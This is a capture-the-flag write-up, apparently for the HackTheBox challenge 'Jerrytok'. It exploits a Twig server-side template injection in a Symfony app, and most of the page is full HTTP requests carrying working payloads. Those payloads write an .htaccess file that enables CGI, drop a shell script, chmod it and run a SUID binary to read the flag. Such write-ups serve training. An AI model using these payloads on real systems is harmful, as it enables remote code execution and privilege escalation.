Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Challenges/Challenge Jerrytok.en.md READ_ONLY

Challenge Jerrytok

This challenge consists of identifying and exploiting a Server Side Template Injection (SSTI) vulnerability in a PHP application and the solution consists of leveraging the SSTI to overwrite an .htaccess file, enabling CGI execution for bash scripts to run a SUID binary and retrieve the flag.

The initial phase focuses on a code review of the provided files. Examining config/supervisord.conf reveals that supervisord runs under the root user.

$ cat config/supervisord.conf
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid

[program:apache]
command=httpd -D FOREGROUND
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

The challenge includes a C file named readflag.c. A quick inspection shows that it sets the UID to zero and executes a command to read the flag from the root directory.

$ cat readflag.c

int main()
{
    setuid(0);
    system("/bin/cat /root/flag");
}

The Dockerfile confirms that this C source code is compiled during the container build process, and the resulting binary is granted SUID permissions, allowing it to execute with root privileges.

$ cat Dockerfile
...
# Add readflag binary
COPY readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

# Copy flag
COPY flag /root/flag
...

The web application's core logic lies in challenge/src/Controller/DefaultController.php. The code retrieves the location parameter from the GET request and concatenates it directly into a string that is passed to a Twig template. This direct rendering without sanitization introduces a potential Server Side Template Injection (SSTI) vulnerability.

$ cat challenge/src/Controller/DefaultController.php
<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;

class DefaultController extends AbstractController
{
    public function index(Request $request): Response
    {
        $location = $request->get('location');

        if (empty($location))
        {
            $latitude = mt_rand(-90, 90) + mt_rand() / mt_getrandmax();
            $longitude = mt_rand(-180, 180) + mt_rand() / mt_getrandmax();
            $location = "($latitude, $longitude)";
        }

        $message = $this->container->get('twig')->createTemplate(
                "Located at: {$location} from your ship's computer"
            )
            ->render();

        return $this->render('base.html.twig', [
            'message' => $message ?? ''
        ]);
    }
}

Reconnaissance with tools like Wappalyzer confirms the environment utilizes PHP 8.2.26 and Apache 2.4.65.

To verify the SSTI vulnerability, a simple payload {{7*7}} is submitted via the location parameter.

GET /?location={{7*7}} HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The server evaluates the expression and returns 49, confirming the presence of the vulnerability.

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 20:59:11 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5045
...
<h3 class='text-center'>Located at: 49 from your ship's computer</h3>
...

Another payload is sent to determine the exact version of the Twig templating engine in use.

GET /?location=%7B%7B%20constant('Twig\\Environment%3A%3AVERSION')%20%7D%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The application reveals that it uses Twig version 3.24.0.

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:00:50 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5049
...
<h3 class='text-center'>Located at: 3.24.0 from your ship's computer</h3>
...

With the application running on Apache, an attacker can override server configurations by creating an .htaccess file, provided the web root is writable. This file can be crafted to enable CGI execution for bash scripts, allowing arbitrary command execution. An attempt is made to write an .htaccess file using the Twig map filter combined with file_put_contents, targeting the expected web root directory /var/www/public/.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'Options%20%2BExecCGI\nAddHandler%20cgi-script%20.sh'%3A%20'%2Fvar%2Fwww%2Fpublic%2F.htaccess'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The server responds with a 200 OK, indicating the payload format is valid and no syntax errors occurred.

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:01:55 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

Following the same approach, a malicious bash script (exploit.sh) is uploaded to execute the SUID binary. The script includes an appropriate shebang and prints the Content-Type: text/plain header to comply with CGI requirements before invoking /readflag.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'%23!%2Fbin%2Fsh\necho%20Content-Type%3A%20text%2Fplain\necho\n%2Freadflag'%3A%20'%2Fvar%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:02:46 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

Execution permissions are required for the script to run as a CGI program. The payload is modified to use the chmod function via Twig, applying the decimal value 511 (equivalent to 777 in octal) to the script.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'511'%3A%20'%2Fvar%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('chmod')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:03:22 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

When a GET request is issued to retrieve and execute the script, the server responds with a 404 Not Found error, indicating an issue with the expected file path.

GET /exploit.sh HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 404 Not Found
Date: Thu, 09 Jul 2026 21:03:58 GMT
Server: Apache/2.4.65 (Unix)
Content-Length: 276
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>

<head>
    <title>404 Not Found</title>
</head>

<body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>
    <address>Apache/2.4.65 (Unix) Server at 154.57.164.80 Port 30343</address>
</body>

</html>

A secondary review of the configuration files, specifically config/httpd.conf, reveals the source of the problem. The DocumentRoot is set to /www/public, not the standard /var/www/public used in the initial payloads.

$ cat config/httpd.conf
ServerTokens OS

ServerRoot /var/www

Listen 1337

LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_core_module modules/mod_authn_core.so
...
DocumentRoot /www/public

ErrorLog /dev/stderr
CustomLog /dev/stdout combined

DirectoryIndex index.php
<Directory /www/public>
    AllowOverride All
</Directory>

The payloads are adjusted to point to the correct DocumentRoot directory /www/public. The .htaccess file is created again with the modified path.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'Options%20%2BExecCGI\nAddHandler%20cgi-script%20.sh'%3A%20'%2Fwww%2Fpublic%2F.htaccess'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:04:54 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

The payload for the malicious bash script is also updated to the correct directory and executed on the server.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'%23!%2Fbin%2Fsh\necho%20Content-Type%3A%20text%2Fplain\necho\n%2Freadflag'%3A%20'%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('file_put_contents')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:05:23 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

The script's permissions are modified to make it executable by sending the final updated payload.

GET /?location=%7B%25%20set%20a%20%3D%20%7B'511'%3A%20'%2Fwww%2Fpublic%2Fexploit.sh'%7D|map('chmod')%25%7D HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:05:54 GMT
Server: Apache/2.4.65 (Unix)
X-Powered-By: PHP/8.2.26
Cache-Control: no-cache, private
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 5043
...
<h3 class='text-center'>Located at: from your ship's computer</h3>
...

With the configurations and permissions correctly set, a final GET request to /exploit.sh invokes the script, successfully executing the SUID binary and exposing the flag.

GET /exploit.sh HTTP/1.1
Host: 154.57.164.80:30343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2026 21:06:13 GMT
Server: Apache/2.4.65 (Unix)
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 68

HTB{FLAG}